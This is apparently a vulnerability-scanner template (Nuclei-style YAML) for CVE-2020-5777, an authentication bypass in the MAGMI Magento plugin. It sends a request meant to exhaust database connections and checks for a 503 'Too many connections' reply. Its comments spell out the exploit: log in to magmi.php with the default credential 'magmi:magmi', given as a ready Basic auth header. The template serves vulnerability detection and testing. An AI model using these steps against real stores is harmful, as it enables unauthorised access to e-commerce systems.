id: cve-2020-5777

info:
  name: "Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23"
  author: "dwisiswant0"
  severity: high
  description: "MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure."

  # Response code 503 indicates a potential successful "Too many connections" error
  # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
  # whith default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
  # Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
  # Ref:
  # - https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35

requests:
  - raw:
      - |
        GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
        Host: {{Hostname}}
        Connection: close
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Too many connections"
        part: body
      - type: status
        status:
          - 503